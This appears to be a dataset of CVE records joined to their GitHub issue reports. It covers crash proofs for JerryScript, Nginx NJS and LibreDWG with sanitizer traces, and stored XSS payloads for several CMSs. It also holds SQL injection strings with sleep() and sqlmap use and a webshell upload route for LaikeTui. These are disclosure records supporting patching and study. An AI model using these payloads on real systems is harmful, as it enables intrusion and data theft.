#6 0x566661cc in ecma_new_ecma_string_from_utf8 /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:385
#7 0x56645ec0 in jerry_create_string_sz /home/jerryscript/jerry-core/api/jerry.c:2688
#8 0x56645e61 in jerry_create_string /home/jerryscript/jerry-core/api/jerry.c:2671
#9 0x567db0a9 in jerryx_handler_register_global /home/jerryscript/jerry-ext/handler/handler-register.c:32
#10 0x5663b483 in main_register_global_function /home/jerryscript/jerry-main/main-utils.c:42
#11 0x5663c0d9 in main_init_engine /home/jerryscript/jerry-main/main-utils.c:291
#12 0x566396c4 in main /home/jerryscript/jerry-main/main-jerry.c:72
#13 0xf75c5ee4 in __libc_start_main (/lib32/libc.so.6+0x1eee4)
SUMMARY: AddressSanitizer: heap-use-after-free /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:1940 in ecma_compare_ecma_non_direct_strings
Shadow bytes around the buggy address:
0x3ea000e0: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa
0x3ea000f0: fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00
0x3ea00100: 00 00 fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa
0x3ea00110: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 00
0x3ea00120: fa fa fd fd fd fa fa fa fd fd fd fa fa fa 00 00
=>0x3ea00130: 00 fa fa fa 00 00 00 00 fa fa[fd]fd fd fa fa fa
0x3ea00140: 00 00 00 00 fa fa fd fd fd fa fa fa 00 00 00 fa
0x3ea00150: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x3ea00160: 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x3ea00170: 00 00 00 00 fa fa 00 00 00 fa fa fa 00 00 00 fa
0x3ea00180: fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==31426==ABORTING
``` | heap-use-after-free in ecma_compare_ecma_non_direct_strings | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4747/comments | 0 | 2021-08-24T03:35:55Z | 2021-11-02T07:40:08Z | https://github.com/jerryscript-project/jerryscript/issues/4747 | 977,668,295 | 4,747 | 3,762 |
CVE-2021-41683 | 2022-06-20T14:15:08.997 | There is a stack-overflow at ecma-helpers.c:326 in ecma_get_lex_env_type in JerryScript 2.4.0 | {
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"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
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"impactScore": 6.4,
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"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
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{
"source": "cve@mitre.org",
"tags": [
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"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4745"
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] |
###### JerryScript revision
```
3bcd48f7
```
###### Build platform
```
Ubuntu 20.04.2 LTS (Linux 5.11.0-25-generic x86_64)
```
###### Build steps
```
./tools/build.py --clean --debug --compile-flag=-fsanitize=address \
--compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \
--compile-flag=-fno-common --compile-flag=-g --strip=off \
--system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \
--error-messages=on --profile=es2015-subset --stack-limit=20
```
###### Test case
```
function Foo() {
new Foo()
}
var o = new Foo();
```
###### Output
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==26122==ERROR: AddressSanitizer: stack-overflow on address 0xff793ffc (pc 0x5663300c bp 0xff794018 sp 0xff794000 T0)
#0 0x5663300b in ecma_get_lex_env_type /home/jerryscript/jerry-core/ecma/base/ecma-helpers.c:326
#1 0x567531ae in ecma_op_resolve_reference_value /home/jerryscript/jerry-core/ecma/operations/ecma-reference.c:293
#2 0x566f4821 in vm_loop /home/jerryscript/jerry-core/vm/vm.c:1098
#3 0x5671255e in vm_execute /home/jerryscript/jerry-core/vm/vm.c:5231
#4 0x56712bf1 in vm_run /home/jerryscript/jerry-core/vm/vm.c:5338
#5 0x56673029 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1130
...
#241 0x566742ee in ecma_op_function_construct /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1572
#242 0x566f3c87 in opfunc_construct /home/jerryscript/jerry-core/vm/vm.c:884
#243 0x56712601 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:5258
#244 0x56712bf1 in vm_run /home/jerryscript/jerry-core/vm/vm.c:5338
#245 0x56673029 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1130
#246 0x566742ee in ecma_op_function_construct /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1572
SUMMARY: AddressSanitizer: stack-overflow /home/jerryscript/jerry-core/ecma/base/ecma-helpers.c:326 in ecma_get_lex_env_type
==26122==ABORTING
```
| stack-overflow in ecma_get_lex_env_type | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4745/comments | 0 | 2021-08-24T03:27:50Z | 2021-10-20T14:03:14Z | https://github.com/jerryscript-project/jerryscript/issues/4745 | 977,665,470 | 4,745 | 3,763 |
CVE-2022-31302 | 2022-06-21T13:15:08.117 | maccms8 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Server Group text field. | {
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{
"acInsufInfo": false,
"baseSeverity": "LOW",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"availabilityImpact": "NONE",
"baseScore": 3.5,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N",
"version": "2.0"
},
"exploitabilityScore": 6.8,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
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"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/maccmspro/maccms8/issues/1"
},
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"source": "af854a3a-2127-422b-91ae-364da2661108",
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"Issue Tracking",
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"maccmspro",
"maccms8"
] | 进入后台，点击视频-->服务器组-->添加，
在地址框插入payload1：1'</script><script>alert(1)</script>
在备注框插入payload2：1'</script><script>alert(2)</script>
进入后台，点击视频-->播放器-->添加，
在地址框插入payload1：1'</script><script>alert(3)</script>
在备注框插入payload2：1'</script><script>alert(4)</script>
| There are four storage XSS vulnerabilities | https://api.github.com/repos/maccmspro/maccms8/issues/1/comments | 0 | 2022-05-17T01:14:56Z | 2023-03-18T15:37:18Z | https://github.com/maccmspro/maccms8/issues/1 | 1,237,923,748 | 1 | 3,764 |
CVE-2022-31303 | 2022-06-21T13:15:08.187 | maccms10 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Server Group text field. | {
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"availabilityImpact": "NONE",
"baseScore": 3.5,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N",
"version": "2.0"
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"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
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"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
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"source": "nvd@nist.gov",
"type": "Primary"
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"Third Party Advisory"
] | github.com | [
"maccmspro",
"maccms10"
] | 进入后台，点击视频-->服务器组-->添加，
在名称框插入payload1：<script>alert(1)</script>
在服务器组地址框插入payload2：<script>alert(2)</script>
在排序框插入payload3：<script>alert(3)</script>
在提示框插入payload4：<script>alert(4)</script>
点击保存，成功触发XSS漏洞
| 后台服务器组中存在XSS漏洞 | https://api.github.com/repos/maccmspro/maccms10/issues/20/comments | 0 | 2022-05-18T14:36:01Z | 2023-03-21T12:02:51Z | https://github.com/maccmspro/maccms10/issues/20 | 1,240,065,243 | 20 | 3,765 |
CVE-2022-31306 | 2022-06-21T13:15:08.237 | Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_array_convert_to_slow_array at src/njs_array.c. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"impactScore": 2.9,
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"nginx",
"njs"
] | ### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function main() {
const a3 = [42881,0];
function a5(a6,a7) {
const a8 = {"get":a7,"set":a7};
const a11 = {"get":a7};
const a12 = Object.defineProperty(a8,"set",a11);
const a13 = Object.defineProperty(a3,1,a8);
}
const a14 = a5(RangeError,a5);
}
main();
```
### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==732125==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000051dc3a bp 0x7ffde9d83b90 sp 0x7ffde9d83a80 T0)
==732125==The signal is caused by a READ memory access.
==732125==Hint: address points to the zero page.
#0 0x51dc3a in njs_array_convert_to_slow_array /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:151:13
#1 0x5185e7 in njs_object_prop_define /home/q1iq/Documents/origin/njs_f65981b/src/njs_object_prop.c:288:19
#2 0x51466c in njs_object_define_property /home/q1iq/Documents/origin/njs_f65981b/src/njs_object.c:1268:11
#3 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#4 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#5 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#6 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#7 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#8 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#9 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
#10 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
#11 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#12 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#13 0x7f70d74f10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#14 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:151:13 in njs_array_convert_to_slow_array
==732125==ABORTING
```
### Credit
Q1IQ(@Q1IQ) | SEGV njs_array.c:151:13 in njs_array_convert_to_slow_array | https://api.github.com/repos/nginx/njs/issues/481/comments | 0 | 2022-03-02T11:45:41Z | 2022-05-07T01:57:07Z | https://github.com/nginx/njs/issues/481 | 1,157,083,066 | 481 | 3,766 |
CVE-2022-31307 | 2022-06-21T13:15:08.287 | Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_string_offset at src/njs_string.c. | {
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"source": "nvd@nist.gov",
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] | ### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function main() {
const a4 = String.fromCodePoint(6631);
const a7 = Object(a4);
const a9 = [65537,a7,"c"];
const a10 = Object.setPrototypeOf(a7,a9);
const a11 = a10.lastIndexOf(a4,...-1000000000.0);
}
main();
```
### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==732134==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004f44ab bp 0x7ffee1c1f9b0 sp 0x7ffee1c1f9b0 T0)
==732134==The signal is caused by a READ memory access.
==732134==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4f44ab in njs_string_offset /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18
#1 0x602ff2 in njs_object_iterate_reverse /home/q1iq/Documents/origin/njs_f65981b/src/njs_iterator.c:563:17
#2 0x523ba8 in njs_array_prototype_reverse_iterator /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:2419:11
#3 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#4 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#5 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#6 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#7 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
#8 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
#9 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#10 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#11 0x7fb64d8810b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18 in njs_string_offset
==732134==ABORTING
```
### Credit
Q1IQ(@Q1IQ) | SEGV njs_string.c:2535:18 in njs_string_offset | https://api.github.com/repos/nginx/njs/issues/482/comments | 0 | 2022-03-02T11:46:11Z | 2022-04-28T00:08:07Z | https://github.com/nginx/njs/issues/482 | 1,157,083,610 | 482 | 3,767 |
CVE-2022-32414 | 2022-06-21T13:15:08.437 | Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_vmcode_interpreter at src/njs_vmcode.c. | {
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"nginx",
"njs"
] | ### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function main() {
const a4 = Promise["race"](Float64Array);
function a14(a15,a16) {
const a17 = async (a18,a19) => {
const a20 = await a15;
for (const a22 in "test") {
}
};
const a23 = a17();
}
const a24 = a14(a4);
}
main();
```
### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==732128==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004e3e53 bp 0x7ffe6e1f76b0 sp 0x7ffe6e1f6e80 T0)
==732128==The signal is caused by a READ memory access.
==732128==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4e3e53 in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27
#1 0x6050bc in njs_await_fulfilled /home/q1iq/Documents/origin/njs_f65981b/src/njs_async.c:96:11
#2 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#3 0x53b029 in njs_function_frame_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:777:16
#4 0x53b029 in njs_function_call2 /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:600:11
#5 0x5f45b7 in njs_function_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.h:180:12
#6 0x5f45b7 in njs_promise_reaction_job /home/q1iq/Documents/origin/njs_f65981b/src/njs_promise.c:1171:15
#7 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#8 0x4deb20 in njs_vm_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:440:12
#9 0x4deb20 in njs_vm_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:424:12
#10 0x4deb20 in njs_vm_handle_events /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:584:19
#11 0x4deb20 in njs_vm_run /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:544:12
#12 0x4c82d7 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:924:15
#13 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#14 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#15 0x7f3e31cf00b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27 in njs_vmcode_interpreter
==732128==ABORTING
```
### Credit
Q1IQ(@Q1IQ) | SEGV njs_vmcode.c:802:27 in njs_vmcode_interpreter | https://api.github.com/repos/nginx/njs/issues/483/comments | 0 | 2022-03-02T11:46:31Z | 2022-04-26T23:10:07Z | https://github.com/nginx/njs/issues/483 | 1,157,083,929 | 483 | 3,768 |
CVE-2022-25585 | 2022-06-21T14:15:08.097 | Unioncms v1.0.13 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Default settings. | {
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"union-home",
"unioncms"
] | 1.The problem is in system settings - basic settings - default settings - third party code
write：<script>alert(1)</script> Save, open the home page and the XSS code will pop up
The problem is as follows：
2.Management background-content management-all management modules-add a piece of content-insert video in the content, write：img src="x" onerror="alert(1);"
Save, open the corresponding foreground article and background article will pop up XSS code
The problem is as follows：
| Stored XSS exists | https://api.github.com/repos/union-home/unioncms/issues/5/comments | 0 | 2022-02-19T11:07:31Z | 2022-02-19T11:07:31Z | https://github.com/union-home/unioncms/issues/5 | 1,144,660,484 | 5 | 3,769 |
CVE-2021-40954 | 2022-06-23T17:15:11.480 | Laiketui 3.5.0 is affected by an arbitrary file upload vulnerability that can allow an attacker to execute arbitrary code. | {
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] | 434 | https://github.com/bettershop/LaikeTui/issues/11 | [
"Exploit",
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] | github.com | [
"bettershop",
"LaikeTui"
] | Any file upload exists at the background plug-in
Locate file： /app/LKT/webapp/modules/plug_ins/actions/addAction.class.php
Firstly, the upload format is not filtered. Secondly, uploading the compressed package will decompress the index file in the compressed package and automatically include the file
As a result, files with any suffix can be uploaded or compressed packages can be uploaded. The compressed packages contain webshell files
Upload succeeded！
The file is in the /APP/LKT/zip/
Let's visit
| Any file upload exists at the background plug-in | https://api.github.com/repos/bettershop/LaikeTui/issues/11/comments | 0 | 2021-09-10T09:35:05Z | 2021-09-10T09:37:57Z | https://github.com/bettershop/LaikeTui/issues/11 | 993,062,132 | 11 | 3,770 |
CVE-2021-40955 | 2022-06-23T17:15:11.523 | SQL injection exists in LaiKetui v3.5.0 the background administrator list. | {
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] | github.com | [
"bettershop",
"LaikeTui"
] | Background SQL injection
Parameter id is not filtered
The corresponding url is http://127.0.0.1/app/LKT/index.php?module=member&action=modify&id=1
Using sleep function to delay 5 seconds as an example
Using sleep function to delay 10 seconds as an example
Get the database through sqlmap
| Background SQL injection | https://api.github.com/repos/bettershop/LaikeTui/issues/12/comments | 0 | 2021-09-10T12:12:54Z | 2021-09-10T12:12:54Z | https://github.com/bettershop/LaikeTui/issues/12 | 993,177,594 | 12 | 3,771 |
CVE-2021-40956 | 2022-06-23T17:15:11.560 | LaiKetui v3.5.0 has SQL injection in the background through the menu management function, and sensitive data can be obtained. | {
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] | github.com | [
"bettershop",
"LaikeTui"
] | SQL injection exists in the LaiKetui menu management function
The link where SQL injection exists is `http://127.0.0.1/LaiKe/app/LKT/index.php?module=menu&action=modify&id=1`
Locate the vulnerable file `/app/LKT/webapp/modules/menu/actions/modifyAction.class.php`
Because the parameter id is not filtered, it leads to SQL injection vulnerabilities
```
public function getDefaultView() {
$db = DBAction::getInstance();
$request = $this->getContext()->getRequest();
// 接收信息
$id = $request->getParameter("id");
$_SESSION['url'] = $_SERVER['HTTP_REFERER'];
// 根据id，查询菜单
$sql = "select * from lkt_core_menu where id = '$id'";
$r_1 = $db->select($sql);
public function getDefaultView() {
$db = DBAction::getInstance();
$request = $this->getContext()->getRequest();
// 接收信息
$id = $request->getParameter("id");
$_SESSION['url'] = $_SERVER['HTTP_REFERER'];
// 根据id，查询菜单
$sql = "select * from lkt_core_menu where id = '$id'";
$r_1 = $db->select($sql);
```
Use burpsuite to request url `http://ceshi.io/laike/app/LKT/index.php?module=menu&action=modify&id=1' and sleep(5)--+`
View SQL monitoring
Use sqlmap SQL injection
Get the database
| SQL injection exists in the LaiKetui menu management function | https://api.github.com/repos/bettershop/LaikeTui/issues/13/comments | 0 | 2021-09-11T12:30:37Z | 2021-09-11T12:30:37Z | https://github.com/bettershop/LaikeTui/issues/13 | 993,830,682 | 13 | 3,772 |
CVE-2021-41432 | 2022-06-23T17:15:11.600 | A stored cross-site scripting (XSS) vulnerability exists in FlatPress 1.2.1 that allows for arbitrary execution of JavaScript commands through blog content. | {
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"flatpressblog",
"flatpress"
] | # FlatPress 1.2.1 - Stored XSS in the Blog Content
A stored Cross Site Scripting (XSS) vulnerability exists in version 1.2.1 of the FlatPress application that allows for arbitrary execution of JavaScript commands.
### Steps to reproduce the vulnerability
1. Visit the FlatPress **Administration area**.
2. Navigate to the **Entries** -> **Write Entry**.
3. Enter any **Subject**.
4. In the content area put the following payload:
- `<script>alert(document.cookie)</script>`
5. Click the **Save&Continue** button.
6. Stored XSS payload is triggered.
- Also we can verify the stored XSS payload by navigating to the home page.
Discovered by Martin Kubecka, September 15 2021 | Stored XSS in the Blog Content | https://api.github.com/repos/flatpressblog/flatpress/issues/88/comments | 2 | 2021-09-15T18:15:56Z | 2022-06-27T15:47:31Z | https://github.com/flatpressblog/flatpress/issues/88 | 997,377,394 | 88 | 3,773 |
CVE-2022-29526 | 2022-06-23T17:15:12.747 | Go before 1.17.10 and 1.18.x before 1.18.2 has Incorrect Privilege Assignment. When called with a non-zero flags parameter, the Faccessat function could incorrectly report that a file is accessible. | {
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"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"golang",
"go"
] | The `syscall.Faccessat` function checks whether the calling process can access a file.
`Faccessat` contains a bug where it checks a file's group permission bits if the process's user is a member of the *process's* group rather than a member of the *file's* group.
https://github.com/golang/go/blob/c9fe126c8bf25d14b233f1ccaff12c1bffbd4971/src/syscall/syscall_linux.go#L112
```
var fmode uint32
if uint32(uid) == st.Uid {
fmode = (st.Mode >> 6) & 7
} else {
var gid int
if flags&_AT_EACCESS != 0 {
gid = Getegid()
} else {
gid = Getgid()
}
if uint32(gid) == st.Gid || isGroupMember(gid) { // <-- this should be isGroupMember(st.Gid), not gid
fmode = (st.Mode >> 3) & 7
} else {
fmode = st.Mode & 7
}
}
```
Since a process's user is usually a member of the process's group, this causes Faccessat to usually check a file's group permissions even if the process's user is not a member of the file's group.
Thanks to @256dpi for reporting this. | syscall: Faccessat checks wrong group | https://api.github.com/repos/golang/go/issues/52313/comments | 10 | 2022-04-12T20:16:17Z | 2023-06-22T22:01:33Z | https://github.com/golang/go/issues/52313 | 1,202,343,099 | 52,313 | 3,774 |
CVE-2022-33024 | 2022-06-23T17:15:13.993 | There is an Assertion `int decode_preR13_entities(BITCODE_RL, BITCODE_RL, unsigned int, BITCODE_RL, BITCODE_RL, Bit_Chain *, Dwg_Data *' failed at dwg2dxf: decode.c:5801 in libredwg v0.12.4.4608. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | ### system info
Ubuntu x86_64, clang 6.0, dwg2dxf([0.12.4.4608](https://github.com/LibreDWG/libredwg/releases/tag/0.12.4.4608))
### Command line
./programs/dwg2dxf -b -m @@ -o /dev/null
### output
dwg2dxf: decode.c:5801: int decode_preR13_entities(BITCODE_RL, BITCODE_RL, unsigned int, BITCODE_RL, BITCODE_RL, Bit_Chain *, Dwg_Data *): Assertion `!dat->bit' failed.
Aborted
### poc
https://gitee.com/cxlzff/fuzz-poc/raw/master/libredwg/decode_preR13_entities_Assertion
| Assertion dwg2dxf: decode.c:5801: int decode_preR13_entities(BITCODE_RL, BITCODE_RL, unsigned int, BITCODE_RL, BITCODE_RL, Bit_Chain *, Dwg_Data *): Assertion `!dat->bit' failed. Aborted. | https://api.github.com/repos/LibreDWG/libredwg/issues/492/comments | 4 | 2022-06-07T01:43:47Z | 2022-12-15T08:04:07Z | https://github.com/LibreDWG/libredwg/issues/492 | 1,262,615,938 | 492 | 3,775 |
CVE-2022-33025 | 2022-06-23T17:15:14.033 | LibreDWG v0.12.4.4608 was discovered to contain a heap-use-after-free via the function decode_preR13_section at decode_r11.c. | {
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### Command line
./programs/dwg2dxf -b -m @@ -o /dev/null
### AddressSanitizer output
==8989==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ffff7e35838 at pc 0x0000007106ca bp 0x7fffffffc8b0 sp 0x7fffffffc8a8
READ of size 8 at 0x7ffff7e35838 thread T0
#0 0x7106c9 in decode_preR13_section /testcase/libredwg/src/decode_r11.c:339:35
#1 0x705d0a in decode_preR13 /testcase/libredwg/src/decode_r11.c:830:12
#2 0x53245a in dwg_decode /testcase/libredwg/src/decode.c:209:23
#3 0x50d759 in dwg_read_file /testcase/libredwg/src/dwg.c:254:11
#4 0x50c454 in main /testcase/libredwg/programs/dwg2dxf.c:258:15
#5 0x7ffff6e22c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#6 0x419ee9 in _start (/testcase/libredwg/programs/dwg2dxf+0x419ee9)
0x7ffff7e35838 is located 56 bytes inside of 172032-byte region [0x7ffff7e35800,0x7ffff7e5f800)
freed by thread T0 here:
#0 0x4d2968 in realloc /fuzzer/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:79
#1 0x5a05b5 in dwg_add_object /testcase/libredwg/src/decode.c:4730:35
previously allocated by thread T0 here:
#0 0x4d2750 in calloc /fuzzer/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74
#1 0x5a0465 in dwg_add_object /testcase/libredwg/src/decode.c:4719:35
SUMMARY: AddressSanitizer: heap-use-after-free /testcase/libredwg/src/decode_r11.c:339:35 in decode_preR13_section
Shadow bytes around the buggy address:
0x10007efbeab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x10007efbeac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x10007efbead0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x10007efbeae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x10007efbeaf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x10007efbeb00: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd
0x10007efbeb10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x10007efbeb20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x10007efbeb30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
